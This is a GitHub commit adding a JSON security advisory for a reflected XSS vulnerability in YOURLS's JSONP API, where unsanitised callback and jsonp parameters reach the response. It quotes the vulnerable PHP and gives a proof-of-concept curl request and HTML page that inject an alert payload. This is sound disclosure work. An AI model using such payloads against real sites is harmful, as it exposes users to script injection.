Skip to content

Commit 10fe2b2

Browse files
1 parent 66dc9fb commit 10fe2b2

File tree

1 file changed

+59
-0
lines changed

1 file changed

+59
-0
lines changed
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6mp4-q625-mxjp",
4+
"modified": "2025-12-30T19:34:26Z",
5+
"published": "2025-12-30T19:34:26Z",
6+
"aliases": [],
7+
"summary": "YOURLS is vulnerable to XSS through JSONP and Callback request parameters",
8+
"details": "### Summary\n\nThe callback and **jsonp** request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When **YOURLS_PRIVATE** is set to **false** (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.\n\n### Details\n\nVulnerability exists in the JSONP callback handling chain:\n\n```\nyourls-api.php:127-128\n\nif( isset( $_REQUEST['callback'] ) )\n $return['callback'] = $_REQUEST['callback'];\nelseif ( isset( $_REQUEST['jsonp'] ) )\n $return['callback'] = $_REQUEST['jsonp']; \n```\n---\n\n```\nincludes/functions-api.php:127-128\n\n$callback = isset( $output['callback'] ) ? $output['callback'] : '';\n$result = $callback . '(' . json_encode( $output ) . ')';\n```\n\n### PoC\n\nI. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.\n\nII. `curl \"http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//\"\n`\n**Expected response:** `alert(document.domain)//({\"version\":\"1.10.2\",\"callback\":\"alert(document.domain)\\/\\/\"})`\n\nBrowser PoC file:\n\n```\n<!DOCTYPE html>\n<html>\n<head><title>pwn</title></head>\n<body>\n<h1>pwn</h1>\n<script src=\"http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//\"></script>\n</body>\n</html>\n```\n\n### Impact\n\nPublic Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger **XSS.**\nPrivate Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "yourls/yourls"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "1.10.2"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-6mp4-q625-mxjp"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/YOURLS/YOURLS/commit/b1c6100e0aa6fef58c9c1a394ccc19352c3a480a"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/YOURLS/YOURLS"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-79"
53+
],
54+
"severity": "HIGH",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2025-12-30T19:34:26Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)